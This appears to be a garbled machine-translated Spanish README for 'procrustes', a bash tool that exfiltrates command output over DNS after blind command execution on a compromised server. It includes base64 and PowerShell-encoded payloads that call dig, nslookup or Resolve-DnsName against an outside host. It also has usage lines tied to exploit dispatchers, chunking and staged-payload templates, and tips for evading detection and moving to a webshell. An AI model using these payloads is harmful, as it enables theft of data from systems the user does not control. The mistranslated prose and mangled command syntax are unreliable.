procusto es un script bash que automatiza la exfiltración de datos a través de dns en caso de que tengamos una ejecución ciega de comandos en un servidor donde todas las conexiones salientes excepto DNS están bloqueadas.
El script actualmente admite sh, bash y powershell y es compatible con la ejecución de comandos de estilo exec (por ejemplo, java.lang.Runtime.exec).
Para sus operaciones, el script toma como entrada el comando que queremos ejecutar en el servidor de destino y lo transforma de acuerdo con el shell de destino para permitir que su salida sea exfiltrada a través de DNS. Una vez transformado el comando, se envía al «despachador». El despachador es un software proporcionado por el favorecido y es responsable de tomar como entrada un comando y ejecutarlo en el servidor de destino por cualquier medio necesario (por ejemplo, aprovechando una vulnerabilidad). Una vez que se ejecuta el comando en el servidor de destino, se aplazamiento que active las solicitudes de DNS a nuestro servidor de nombres DNS que contienen fragmentos de nuestros datos. El script audición esas solicitudes hasta que la salida del comando proporcionado por el favorecido se exfiltra por completo.
A continuación se muestran las transformaciones de comando admitidas, generadas para la exfiltración del comando: ls
sh -c $ @ | base64 $ {IFS} -d | sh. echo IGRpZyBAMCArdHJpZXM9NSBgKGxzKXxiYXNlNjQgLXcwfHdjIC1jYC5sZW4xNjAzNTQxMTc4LndoYXRldi5lcgo =
bash -c {echo, IG5zbG9va3VwIGAobHMpfGJhc2U2NCAtdzB8d2MgLWNgLmxlbi4xNjAzMDMwNTYwLndoYXRldi5lcgo =} | {base64, -d} | bash
powershell -enc UgBlAHMAbwBsAHYAZQAtAEQAbgBzAE4AYQBtAGUAIAAkACgAIgB7ADAAfQAuAHsAMQB9AC4AewAyAH0AIgAgAC0AZgAgACgAWwBDAG8AbgB2AGUAcgB0AF0AOgA6AFQAbwBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoAFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABCAHkAdABlAHMAKAAoAGwAcwApACkAKQAuAGwAZQBuAGcAdABoACkALAAiAGwAZQBuACIALAAiADEANgAwADMAMAAzADAANAA4ADgALgB3AGgAYQB0AGUAdgAuAGUAcgAiACkACgA =
Uso
./procroustes_chunked.sh -h whatev.er -d “dig @ 0 + tries = 5” -x dispatcher_examples / local_bash.sh – ‘ls -lha | grep secret’ <<(stdbuf -oL tcpdump –inmediate -l -i cualquier puerto udp 53)
- Pruebas locales para powershell con WSL2:
stdbuf -oL tcpdump –inmediate -l -i cualquier puerto udp 53 | ./procroustes_chunked.sh -w ps -h whatev.er -d “Resolve-DnsName -Server wsl2_IP -Name” -x dispatcher_examples / local_powershell_wsl2.sh – ‘gci | % {$ _. Nombre} ‘
- Ejemplo de powershell donde ingresamos a nuestro NS para obtener las solicitudes de DNS entrantes.
./procroustes_chunked.sh -w ps -h yourdns.host -d “Resolver-DnsName” -x dispatcher_examples / curl_waf.sh – ‘gci | % {$ _. Name} ‘<<(stdbuf -oL ssh user @ HOST' sudo tcpdump –inmediate -l udp port 53 ')
- Más información sobre las opciones
./procroustes_chunked.sh –help
Procroustes_Chunked vs Procroustes_Full
En pocas palabras, asumiendo que queremos exfiltrar algunos datos que deben dividirse en cuatro partes para poder ser transmitidos a través de DNS:
- Procroustes_Chunked: pasión al despachador cuatro veces, cada vez solicitando un fragmento diferente del servidor. Tiene un tamaño de carga útil relativamente pequeño, es rápido y no necesita ninguna configuración exclusivo.
- Procroustes_Full: pasión al despachador una vez, el comando que se ejecutará en el servidor será responsable de fragmentar los datos y enviarlos. Puede tener un tamaño de carga útil viejo, es rápido (la velocidad se puede ajustar mediante el parámetro -t) y su velocidad se puede optimizar aún más cuando dns_server se ejecuta en el servidor de nombres.
- Procroustes_Full / Staged: igual que procroustes_full, pero usa un stager para obtener el comando usado por procroustes_full para fragmentar los datos. Tiene el tamaño de «carga útil» más pequeño, pero además es el más flemático en lo que respecta a la tasa de exfiltración, ya que la carga útil vivo se descarga a través de DNS. Para su funcionamiento requiere la creación de un script nsconfig. Nota: el script nsconfig debe crearse solo una vez por servidor de nombres (y no por servidor de destino).
Algunas de sus diferencias además se pueden ilustrar a través de los comandos de plantilla utilizados para bash:
- procroustes_chunked / bash:
% DNS_TRIGGER% `(% CMD%) | base64 -w0 | cut -b $ ((% INDEX% + 1)) – $ ((% INDEX% +% COUNT%)) ».% UNIQUE_DNS_HOST%
(% CMD%) | base64 -w0 | echo $ (astuto) – | grep -Eo ‘. {1,% LABEL_SIZE%} ‘| xargs -n% NLABELS% echo | tr’ ‘. | Awk’ {printf “% s.% S% s n”, $ 1, NR, ”% UNIQUE_DNS_HOST%”} ‘| xargs -P% THREADS% -n1% DNS_TRIGGER%
- procroustes_full / bash / staged:
(seq% ITERATIONS% |% S_DNS_TRIGGGER% $ (astuto).% UNIQUE_DNS_HOST% | tr. | printf% 02x $ (astuto) | xxd -r -p) | bash
procroustes_chunked | procroustes_full | procroustes_full_staged | |
---|---|---|---|
sobrecarga del tamaño de la carga útil (bash / powershell) | 150 * NLABELS / 500 * NLABELS (+ CMD_LEN) | 300/800 (+ CMD_LEN) | 150/400[1] |
el despachador pasión # | # salida / (LABEL_SIZE * NLABELS)[2] | 1 | 1 |
velocidad (bash / powershell) | ✔ / ✔ | ✔ / ✔ | ✓ / ✓[3] |
dificultad de configuración | casquivana | facil + | medio |
- Para la traducción por etapas, el comando se descarga a través de DNS, por lo que el tamaño indicado es además el tamaño total de la carga útil.
- En procroustes_chunked, el dispatcher se pasión varias veces y, por lo tanto, el comando proporcionado que se supone debe ejecutarse en el servidor (hasta que se exfiltra toda su salida). Este comportamiento no es ideal en caso de que la entrega de comandos al servidor (es opinar, llamando al despachador) requiera mucho tiempo / bienes.
Además puede causar problemas en caso de que el comando que estamos ejecutando en el servidor no sea idempotente (funcionalidad o salida, por ejemplo, «ls; archivo rm») o requiera mucho tiempo / bienes (por ejemplo, inquirir / -nombre secreto). Una decisión para este caso es juntar primero la salida del comando en un archivo (por ejemplo, / tmp / file) y luego usar el script para descifrar ese archivo.
- En la traducción por etapas, tenemos la sobrecarga del tiempo necesario para obtener la carga útil vivo a través de DNS. Junto a señalar que el script utiliza registros A para obtener la carga útil vivo. Aunque esto permite que nuestro tráfico se mezcle mejor con el tráfico regular del entorno de destino, ofrece una capacidad de canal limitada (por ejemplo, 4 bytes por solicitud). Podríamos hacer uso de otros tipos de registros como TXT y minimizar el tiempo de descarga de la etapa (cercano a cero) y el tamaño de la etapa.
Consejos
- Probablemente desee utilizar este script lo menos posible, intente realizar la transición a un canal de viejo satisfecho de manada lo antiguamente posible (por ejemplo, HTTP-webshell)
- En caso de que se espere una salida de texto larga, puede intentar comprimirlo primero para acelerar el proceso de exfil, por ejemplo ./procrustes_full.sh… -o> (setsid gunzip) – ‘ls -lhR / | gzip ‘
- Otra posibilidad para archivos grandes / binarios es copiarlos en una ruta que sea accesible, por ejemplo, a través de HTTP.
- Para aumentar el satisfecho de manada de exfil en procrustes_full, ejecute dns_server en su servidor de nombres. De esa forma, evitamos esperar a que el DNS_TRIGGER subyacente se agote antiguamente de sobrevenir a un nuevo fragmento.
- Idealmente, tendría un dominio (opción -h) con un registro NS que apunta a un servidor que usted controla (servidor donde ejecutamos tcpdump). Sin secuestro, en caso de que el objetivo pueda iniciar conexiones a servidores DNS arbitrarios, esto se puede evitar configurando explícitamente el disparador DNS para usar nuestro servidor DNS (por ejemplo, dig @your_server whatev.er)
Créditos
- Collabfiltrator: idea de fragmentar los datos en el servidor. Además realiza funcionalidades similares con este script, así que échale un vistazo.
- DNSlivery: la traducción modificada de DNSlivery se utiliza como servidor DNS